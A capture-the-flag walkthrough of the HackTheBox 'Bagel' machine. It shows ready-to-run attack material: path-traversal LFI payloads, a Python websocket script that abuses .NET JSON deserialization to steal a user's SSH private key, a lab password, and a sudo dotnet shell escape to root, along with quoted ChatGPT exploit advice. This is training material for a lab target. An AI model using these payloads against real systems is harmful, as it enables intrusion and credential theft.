HTB — Bagel
A detailed walkthrough for solving Bagel Box on HTB. The box contains vulnerability like File Inclusion, JSON Deserialization and privilege escalation through SUDO shell scaping.
Enumeration
NMAP
Let’s start with an NMAP Scanning to enumerate open ports and the services running on the IP.
nmap -sC -sV -oA nmap/10.10.11.201 10.10.11.201 -v
Discovered open port 22/tcp on 10.10.11.201
Discovered open port 8000/tcp on 10.10.11.201
Increasing send delay for 10.10.11.201 from 0 to 5 due to 80 out of 265 dropped probes since last increase.
Discovered open port 5000/tcp on 10.10.11.201
Add 10.10.11.201 as bagel.htb on /etc/hosts. Open http://bagel.htb:8000 on the web browser.
It seems to be like a online shopping application for a bagel which contains some information regarding orders. Found noting interesting on the client side source codes.
Directory Enumeration
Dirsearch
python3 dirsearch.py -u http://bagel.htb:8000
Target: http://bagel.htb:8000/
[22:24:43] Starting:
[22:28:52] 200 - 267B - /orders
Gobuster
gobuster dir -u http://bagel.htb:8000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
# Result
/orders (Status: 200) [Size: 267]
Nothing new directories are discovered other than /orders.
Subdomain Enumeration
Let’s try some subdomain enumeration if we can get any other subdomain in the box.
FFUF
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.bage.htb:8000" -u http://bagel.htb:8000 -fw 18
I was not able to enumerate any of the subdomains on the box.
Initial Foothold
While exploring the application and capturing its requests with Burp, I came across some endpoints that can show an HTML file based on the filename given as a parameter.
http://bagel.htb:8000/?page=index.html
LFI
Local File Inclusion (LFI) is a type of web application vulnerability that allows an attacker to include a local file on the web server by exploiting input validation issues in the web application. Let’s try if we could extract any files from the system using the page parameter.
FFUF
ffuf -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt -u http://bagel.htb:8000/\?page\=../../../../../FUZZ -fw 3
/etc/anacrontab [Status: 200, Size: 541, Words: 54, Lines: 17, Duration: 410ms]
/etc/crontab [Status: 200, Size: 451, Words: 92, Lines: 16, Duration: 328ms]
/etc/dbus-1/session.conf [Status: 200, Size: 838, Words: 88, Lines: 20, Duration: 326ms]
/etc/dbus-1/system.conf [Status: 200, Size: 833, Words: 88, Lines: 20, Duration: 320ms]
/etc/dbus-1/system.d/dnsmasq.conf [Status: 200, Size: 475, Words: 55, Lines: 15, Duration: 319ms]
/etc/dnsmasq.conf [Status: 200, Size: 27981, Words: 3759, Lines: 699, Duration: 333ms]
/etc/ethertypes [Status: 200, Size: 1362, Words: 169, Lines: 40, Duration: 335ms]
/etc/exports [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 512ms]
/etc/jwhois.conf [Status: 200, Size: 78055, Words: 4774, Lines: 2371, Duration: 339ms]
/etc/login.defs [Status: 200, Size: 8676, Words: 1293, Lines: 306, Duration: 408ms]
/etc/logrotate.d/samba [Status: 200, Size: 155, Words: 37, Lines: 11, Duration: 410ms]
/etc/magic [Status: 200, Size: 111, Words: 18, Lines: 4, Duration: 1326ms]
/etc/mtools.conf [Status: 200, Size: 2620, Words: 404, Lines: 80, Duration: 352ms]
/etc/nanorc [Status: 200, Size: 11181, Words: 1662, Lines: 328, Duration: 418ms]
/etc/pam.d/chfn [Status: 200, Size: 192, Words: 53, Lines: 7, Duration: 433ms]
/etc/pam.d/chsh [Status: 200, Size: 192, Words: 53, Lines: 7, Duration: 433ms]
/etc/pam.d/passwd [Status: 200, Size: 168, Words: 18, Lines: 6, Duration: 410ms]
/etc/pam.d/sudo [Status: 200, Size: 238, Words: 62, Lines: 8, Duration: 329ms]
/etc/pam.d/su [Status: 200, Size: 540, Words: 35, Lines: 15, Duration: 337ms]
/etc/pam.d/vlock [Status: 200, Size: 84, Words: 23, Lines: 4, Duration: 326ms]
/etc/pam.d/other [Status: 200, Size: 154, Words: 39, Lines: 6, Duration: 1433ms]
/etc/pam.d/login [Status: 200, Size: 676, Words: 154, Lines: 17, Duration: 2491ms]
/etc/pinforc [Status: 200, Size: 2872, Words: 315, Lines: 105, Duration: 407ms]
/etc/reader.conf.d/libccidtwin [Status: 200, Size: 511, Words: 102, Lines: 15, Duration: 329ms]
/etc/security/access.conf [Status: 200, Size: 4564, Words: 635, Lines: 123, Duration: 322ms]
/etc/security/chroot.conf [Status: 200, Size: 82, Words: 4, Lines: 5, Duration: 319ms]
/etc/security/group.conf [Status: 200, Size: 3635, Words: 690, Lines: 107, Duration: 319ms]
/etc/security/limits.conf [Status: 200, Size: 2426, Words: 711, Lines: 62, Duration: 320ms]
/etc/security/pam_env.conf [Status: 200, Size: 2971, Words: 429, Lines: 74, Duration: 319ms]
/etc/security/time.conf [Status: 200, Size: 2179, Words: 342, Lines: 66, Duration: 323ms]
/etc/selinux/semanage.conf [Status: 200, Size: 2668, Words: 476, Lines: 61, Duration: 320ms]
/etc/sestatus.conf [Status: 200, Size: 216, Words: 1, Lines: 19, Duration: 324ms]
/etc/shells [Status: 200, Size: 44, Words: 1, Lines: 5, Duration: 321ms]
/etc/skel/.bashrc [Status: 200, Size: 492, Words: 59, Lines: 28, Duration: 322ms]
/etc/skel/.bash_profile [Status: 200, Size: 141, Words: 19, Lines: 9, Duration: 327ms]
/etc/ssh/ssh_config [Status: 200, Size: 1921, Words: 281, Lines: 56, Duration: 322ms]
/etc/ssl/openssl.cnf [Status: 200, Size: 12171, Words: 1359, Lines: 395, Duration: 323ms]
/etc/sysctl.conf [Status: 200, Size: 523, Words: 67, Lines: 13, Duration: 322ms]
/etc/ssh/moduli [Status: 200, Size: 578094, Words: 2707, Lines: 451, Duration: 324ms]
/etc/updatedb.conf [Status: 200, Size: 513, Words: 59, Lines: 5, Duration: 319ms]
I used FFUF to perform basic linux filesystem fuzzing on http://bagel.htb:8000/?page=../../../../../../{FUZZ} and the tool responds with some valid data.
Verifying the payload on the burp, I got a confirmation that the application is vulnerable to Local File Inclusion and the data from the file /etc/passwd is gained.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://bagel.htb:8000/\?page\=static/js/FUZZ.js -fw 3
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://bagel.htb:8000/\?page\=FUZZ.html -fw 3
# Didn't find any useful files
I did a little bit of Linux file path fuzzing to identify any useful information from this vulnerabilities, but I was not able to move forward from this point. I jumped towards google and searched some cheat sheets for Linux file path and found this blog which talks about Local File Inclusion and the sensitive file paths in Linux.
I also tried every file paths as denoted by the above blog but was not successful in gaining any information. In the same blog I found that we can also enumerate the process under the /proc directory.
Navigating into the reference mentioned on that blog, I found some interesting file path like /proc/[PID]/cmdline and /proc/[PID]/environ.
For this, I need to know PID value of this machine. To understand more further, I listed all the files and folders inside /proc in my attacking machine and found that there can be plenty of directories and going one by one was a long time job. I decided to go for the directories sys, self, net, mounts, fs, driver and so on.
When trying with /proc/self/cmdline, I found some interesting python file path python3/home/developer/app/app.py
When accessing the /home/developer/app/app.py file, we can a comment inserted on the code which says # don’t forget to run the order app first with “dotnet <path to .dll>” command. Use your ssh key to access the machine, which means that the is an .dll file in the system from which we can get some information about SSH. So, DLL is a library that contains code and data that can be used by more than one program at the same time. We need to find that DLL file.
We know that the system is a Linux Based machine therefore we might not find the DLL file in an standard location as windows. I searched about the default location for the DLL file in a linux system which was /etc/ld.so.conf.
The response shows that there can be other configs file under /etc/ld.so.conf.d/.
I performed some bruteforce on the endpoint /etc/ld.so.conf.d/{test}.conf but was not able to find any useful information about the DLL.
I also tried a brute force on the /home/developer/app/{app}.py file to discover additional filenames within the directory, but it appears that there are no other files present.
Tried some extra fuzzing on these endpoints but didn’t get any of the information.
Upon examining the app.py file again, I discovered that the comment provides not only a hint to locate the DLL file, but it also indicates the presence of a second Flask application named “order” that must be executed in order to direct the /orders path on the website.
If we recall the enumeration of /home/developer/app/app.py file, we discovered it from the /proc/self/cmdline file but if we go with definition, we can know that “proc exposes process information and general kernel data structures to userland. sys exposes kernel data structures that describe hardware (but also filesystems, SELinux, modules etc).” and the self in /proc/self/cmdline is a PID. There is a possibility that the location of order app can be found from another PID since it might be a different process.
I tried brute forcing the PID numbers from 000–999 on /proc/{PID}/cmdline endpoint and discovered some interesting things.
And unexpectedly, I got the location of DLL file on /opt/bagel/bin/Debug/net6.0/bagel.dll. I wouldn’t have been able to find it through manual enumeration. It appears that the DLL file listed below must be executed to launch the order app mentioned in the comment.
Let’s download the DLL file, we just need to open the request on the web browser. Open the below URL in a browser.
http://bagel.htb:8000/?page=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
We can see that the mentioned DLL file is an console based executable for Windows System.
Upon searching the analysis tool for the DLL file, I came into a tool called DLLSpy which can locate all strings that contain a DLL name or DLL Path in the binary files of running processes.
Let’s download the tool and run it on our device.
But it seems like we need a Windows machine to execute the tool DLLSpy.
Upon searching about the DLL analysis and de-compile, I found another Windows based tool called ILSpy.
The tool ILSPy also has an cross platform version called AvalonialSpy which can be downloaded from https://github.com/icsharpcode/AvaloniaILSpy
Download the releases from it’s GitHub page.
Unzip the downloaded file, the file contains another zip file.
Unzip it too.
Navigate to artifacts/linux-x64/ and make the file ILSpy executable and run it.
Run the executable and import the DLL file.
We can find the credentials on it. Let’s try to login it through SSH.
It seems like the SSH server is configure to disallow the password based authentication.
If we examine the source code located at /home/developer/app/app.py again, we can see the code section that relates to the /orders route. This section of code indicates that the Flask application will use websockets to communicate with port 5000 on its own machine. Furthermore, the code will retrieve data from the orders.txt file and display it on the webpage when the /orders route is accessed.
It appears that the app.py file communicates with the DLL file that we downloaded to obtain information from the orders.txt file. To move forward, we need to examine the source code obtained from decompiling the DLL.
Viewing the following source code below, we can see that there are two variables that are defined for the directory and filename. When the /orders directory is accessed on the webpage, the ReadFile method is invoked. These variables are then concatenated and passed into the ReadContent method to view its content.
Let’s create a python script which communicates with the box though websocket on port 5000, invoke the method ReadOrder and view the orders.txt file content.
Run the script. We can see that we were able to view the contents from orders.txt file.
Let’s see if we could view the content of /etc/passwd file using the same script.
The response was ‘order not found’.
I tried using different encoding methods since there might be any filters implemented on the code.
Lets encode the payload and insert in on the script.
Running the script, the response was same, “Order not found!”.
Let’s try some other bypassing techniques.
Same result.
Viewing the source code of the ReadOrder method, we can confirm that the value of the order_filename parameter has been sanitized, which means that the payload we were planning to use will not work.
WriteOrder
We can try to extract the data by utilizing the WriteOrder method. This method requires a filename parameter, which it then writes the contents to. Upon running the aforementioned script, we can see that the application accepts multiple parameters such as RemoveOrder, WriteOrder, and ReadOrder.
There is a chance we could exfiltrate the data using this method. We will pass ../../../../../etc/password. It seems that the application will write the content of /etc/password to orders.txt and then we will view the content of orders.txt hoping that it has the result of /etc/password file.
Run the script, the operation is succeeded.
View the content of orders.txt file now.
But instead of the content, it wrote the filename inside orders.txt file.
Remove Orders
Since we were not able to exfiltrate the data with ReadOrder and WriteOrder functions, let’s analyze the RemoveOrder object. The RemoveOrder object contains auto-implemented getter and setter, which means that the compiler will generate the code for these methods automatically when it is called.
I didn’t have much of idea about the C# but when I hovered above the Deserialize code as shown on the image below, it is some how associated with the object RemoveOrder.
In the blow code, the method calls the static method “JsonConvert.DeserializeObject” to deserialize the “json” parameter into an object of type “Base”. “Base” is likely a class or interface that the deserialized object should implement. The JsonSerializerSettings instance created is passed as a second argument to this method.
This is what ChatGPT suggested me when I asked how can we create an exploit for the JSON deserialization vulnerability.
Craft a JSON payload that includes a valid class name and arbitrary data that will be deserialized by the server.
- Include a $type field in the payload that specifies the fully-qualified name of the .NET class to be instantiated during deserialization. This should be a class that the server is capable of deserializing and that has a constructor that takes arguments that you can control.
- Include any additional data fields that are required by the class’s constructor or methods.
- Encode the payload as a JSON string and send it to the server using the RemoveOrder parameter.
- If the deserialization is successful, the server will create an instance of the specified class and call its constructor with the provided arguments. This can potentially give you control over the server’s behavior or allow you to access sensitive data.
To successfully execute the desired operation, we must create a payload that includes a $type parameter, which specifies the name of the class that we want to use from the bagel_server package, specifically the File class. The second argument is the name of the method we want to use, which is ReadContent, and the payload itself contains the necessary information.
If the operation is successful, we can bypass the filter check. This is because the RemoveOrder method will be invoked first, which then calls the deserialization method, followed by the execution of the ReadFile method, which is located in the bagel_server.File class.
This is how the deserialization attacks works in this scenario.
Executing the script, we can have the content of /etc/passwd file.
Since the password based SSH connection was denied, let’s see if we can download the SSH private key for a user developer.
The box doesn’t contains SSH private key file for developer user.
When we go back to the result of /etc/passwd file, we can see another user as well called phil. Let’s see if we could get the private key for phil.
We we able to get the private key for phil user. We can filter out the ReadFile only to get the formatted key data.
You can find the final script here.
import websocket, json
import os.path
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = {"RemoveOrder":{'$type':'bagel_server.File,bagel','ReadFile':'../../../../../../../home/phil/.ssh/id_rsa'}}
data = str(json.dumps(order))
print(data)
ws.send(data)
result = ws.recv()
print(json.loads(result)['RemoveOrder']['ReadFile'])
Getting the formatted private key.
Save the private key and change its permission. Connect to the machine via SSH.
We got the user flag.
Privilege Escalation: Developer
The password k8wdAYYKyhnjg3K we found in the above DLL file can be used to login as a user developer.
Privilege Escalation: Root
Executing the sudo -l command I found that the user developer can execute /usr/bin/dotnet with sudo permission without any password.
We can escalate to root user using the dotnet binary if it is allowed to run as superuser by sudo as described on GTFOBins.
Execute below commands, we need to replace sudo dotnet fsi with sudo /usr/bin/dotnet fsi.
sudo /usr/bin/dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Here you go! Happy Hacking.